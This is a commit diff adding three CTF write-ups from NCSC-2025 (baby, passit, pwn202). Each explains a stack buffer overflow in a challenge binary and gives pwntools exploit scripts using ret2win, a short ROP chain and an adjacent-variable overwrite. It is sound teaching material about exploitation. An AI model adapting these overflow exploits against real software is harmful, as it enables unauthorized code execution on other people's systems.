Added NCSC-2025 write-up

Author: hackeringtrue

_posts/2025-07-16-NCSC-2025_pwn-baby.md

@@ -0,0 +1,106 @@
+---
+layout: post
+date: 2025-07-25 12:23:00 +0300
+categories: NCSC-2025 pwn
+title: baby
+tags: i386 ret2win buffer-overflow 
+---
+
+## Information 
+- category: pwn
+- points: 1000
+
+## Description
+> None
+
+## Write-up
+
+When running the challenge binary:
+```bash
+λ ~/Desktop/CTF@NCSC/pwn/pwn1/ ./baby
+Welcome to babypwn challenge!
+Enter your input:
+AAAA
+You said: AAAA
+```
+
+<img src="/images/baby/baby1.png" style="border-radius: 14px;">
+From your screenshot: 
+- `fgets(buffer, 200, stdin);` 
+- But the actual `buffer` (`local_48`) is **only 0x44 = 68 bytes**. 
+- That means `fgets()` is allowed to **write up to 200 bytes**, but only 68 are safely allocated — this is a **classic overflow**.
+
+### Exploitation Path 
+**You now control the stack after 68 bytes**, which includes: 
+- **Saved RBP**: Usually right after local vars (at `offset + 0x48`).
+- **Return address**: Comes after RBP (typically at `offset + 0x50` or so). 
+
+So the **ret address is definitely overwritable**
+
+### Finding the Return Address Offset Using GDB + Pwndbg:
+```plaintext
+[stack]         0xffffd160 'AAAA\n'
+pwndbg> i f
+Stack level 0, frame at 0xffffd1b0:
+ eip = 0x804931d in vuln; saved eip = 0x8049387
+ called by frame at 0xffffd1d0
+...
+ Saved registers:
+  ebx at 0xffffd1a4, ebp at 0xffffd1a8, eip at 0xffffd1ac
+pwndbg> dist 0xffffd160 0xffffd1ac
+0xffffd160->0xffffd1ac is 0x4c bytes (76 bytes)
+```
+> Offset to return address = 76 bytes
+{: .prompt-info}
+
+## Exploit
+```python
+#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./baby")
+
+context.binary = exe
+
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("")
+
+    return r
+
+
+def main():
+    r = conn()
+
+
+    win_addr = 0x8049233
+
+    payload = b'A' * 72
+    payload += b'B' * 4
+    payload += p32(win_addr)
+
+    r.send(payload)
+
+    r.interactive()
+
+
+if __name__ == "__main__":
+    main()
+```
+
+## Flag
+> Flag:``` ```
+
+
+
+
+
+
+
+

_posts/2025-07-16-NCSC-2025_pwn-passit.md

@@ -0,0 +1,84 @@
+---
+layout: post
+date: 2025-07-25 12:23:00 +0300
+categories: NCSC-2025 pwn
+title: passit
+tags: x64 ret2win buffer-overflow ROP
+---
+
+## Information
+- category: pwn
+- points: 1000
+
+## Description
+> None
+
+## Write-up
+This challenge is similar to the classic `baby` pwn challenge but with an important twist: the `win` function requires two parameters (`parm1` and `parm2`) to be set correctly to successfully get the flag. From reversing the binary (see the screenshot below), we can see the function prototype for `win` accepts two arguments. This means a simple return-to-`win` (ret2win) without setting those parameters won’t work:
+
+<img src="/images/baby/Shot-2025-07-26-034940.png" style="border-radius: 14px;">
+
+To craft a proper exploit, we first need to find the exact offset from the input buffer to the saved return address on the stack. Using `pwndbg`, we set a breakpoint right before the vulnerable `fgets` call, which reads user input into the buffer. At this breakpoint, registers and stack pointers give us crucial information about the stack layout. From the debugger output:
+```plaintext
+Stack level 0, frame at 0x7fffffffdf40:
+ rip = 0x401310 in vuln; saved rip = 0x401369
+ called by frame at 0x7fffffffdf50
+ ...
+pwndbg> dist $rax 0x7fffffffdf38
+0x7fffffffdef0->0x7fffffffdf38 is 0x48 bytes (0x9 words)
+```
+
+-  `$rax` points to the buffer start at `0x7fffffffdef0`. 
+-  The saved return address (RIP) is stored at `0x7fffffffdf38`.
+-  Calculating the distance between these addresses: `0x7fffffffdf38 - 0x7fffffffdef0 = 0x48` bytes (72 bytes). 
+
+
+This tells us the return address lies 72 bytes after the start of the buffer. Therefore, to overwrite the return address, we need to overflow the buffer with 72 bytes of filler, then overwrite the next 8 bytes (on x86\_64) with our desired return address.
+
+## Exploit
+```python
+#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./passit_patched")
+
+context.binary = exe
+
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("")
+
+    return r
+
+
+def main():
+    r = conn()
+
+    pop_rdi = 0x401196
+    pop_rsi = 0x401199
+    ret = 0x401016
+    payload = b"A" * 72 + p64(ret) 
+    payload+= p64(pop_rdi) + p64(0x435343434e0000) 
+    payload+= p64(pop_rsi) + p64(0x5a44494b530000)  
+    payload+= p64(exe.symbols.win)
+
+    r.send(payload)
+    r.interactive()
+
+
+if __name__ == "__main__":
+    main()
+```
+
+## Flag
+> Flag:``` ```
+
+
+
+

_posts/2025-07-16-NCSC-2025_pwn202.md

@@ -0,0 +1,92 @@
+---
+layout: post
+date: 2025-07-25 12:32:42 +0300
+categories: NCSC-2025 pwn
+title: pwn202
+tags: i386 ret2win buffer-overflow int-overflow
+---
+
+## Information
+- category: pwn
+- points: 1000
+
+## Description
+> None
+
+## Write-up
+
+When running:
+```
+λ ~/Desktop/CTF@NCSC/pwn/pwn2/ ./pwn202
+Hey please enter the Secret password for lab 202 mr pwner:
+AAAA
+Length of your input is: 4
+are you sure ? Not the password mr Pwner !
+```
+
+But if input is too long:
+```
+λ ~/Desktop/CTF@NCSC/pwn/pwn2/ ./pwn202
+Hey please enter the Secret password for lab 202 mr pwner:
+AAAAAAAAAAAAAAAAAAA
+Length of your input is: 19
+hey ! you must Keep the length between 4 and 8, I can see you are doing a overflow !!
+```
+So there’s **length checking logic** before something interesting happens.
+
+
+
+Using Ghidra, we reverse the `check()` function and discovered the following:
+<img src="/images/baby/Shot-2025-07-26-033339.png" style="border-radius: 14px;">
+
+### Vulnerability 
+- The program uses `strcpy()` to copy user input into `local_17`, a 10-byte buffer. 
+- However, it doesn't validate the actual size, only the **length of input**, and only **after** calling `strlen()` and **before** calling `strcpy()`. 
+- So **even if the length is valid (4 ≤ len ≤ 8)**, a malicious input can overwrite `local_c` which is **right after** `local_17`.
+
+
+- Overwrite `local_c` with `0x49693121` by carefully crafting our input to overflow the buffer and land that integer in memory. 
+- We must: 
+1. Keep our input length **between 4 and 8** to pass the check.
+2. Still overflow `local_17` enough to **overwrite `local_c`** with our target value. 
+3. Use binary tools (like GDB or pwndbg) to find the **exact offset** between `local_17` and `local_c`”
+
+
+## Exploit
+```python
+#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./pwn202_patched")
+
+context.binary = exe
+
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("")
+
+    return r
+
+
+def main():
+    r = conn()
+
+    payload = b'A' * 11
+    payload += p32(0x49693121)
+    payload += b'B' * 245
+    r.sendline(payload)
+    r.interactive()
+
+if __name__ == "__main__":
+    main()
+```
+
+## Flag
+> Flag:``` ```
+